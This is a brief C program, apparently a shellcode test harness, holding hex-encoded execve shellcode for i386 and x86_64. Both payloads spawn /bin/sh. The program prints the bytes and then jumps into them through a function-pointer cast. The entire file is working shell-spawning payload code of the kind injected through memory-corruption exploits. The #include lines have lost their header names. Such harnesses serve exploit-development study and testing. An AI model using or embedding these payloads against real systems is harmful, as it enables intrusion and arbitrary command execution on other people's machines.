#include #include int main() { #if __i386__ char shellcode[] = "\x31\xc9\xf7\xe1\x50\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xb0\x0b\xcd\x80"; // 21.s #elif __x86_64__ char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f" "\x73\x68\x3b\x50\x54\x5f\x31" "\xf6\xf7\xe6\x86\x47\x07\x0f\x05"; // 22c.s #else #error undefined arch!!! #endif printf("shellcode[%zu] = %s\n", strlen(shellcode), shellcode); ((void (*)())shellcode)(); }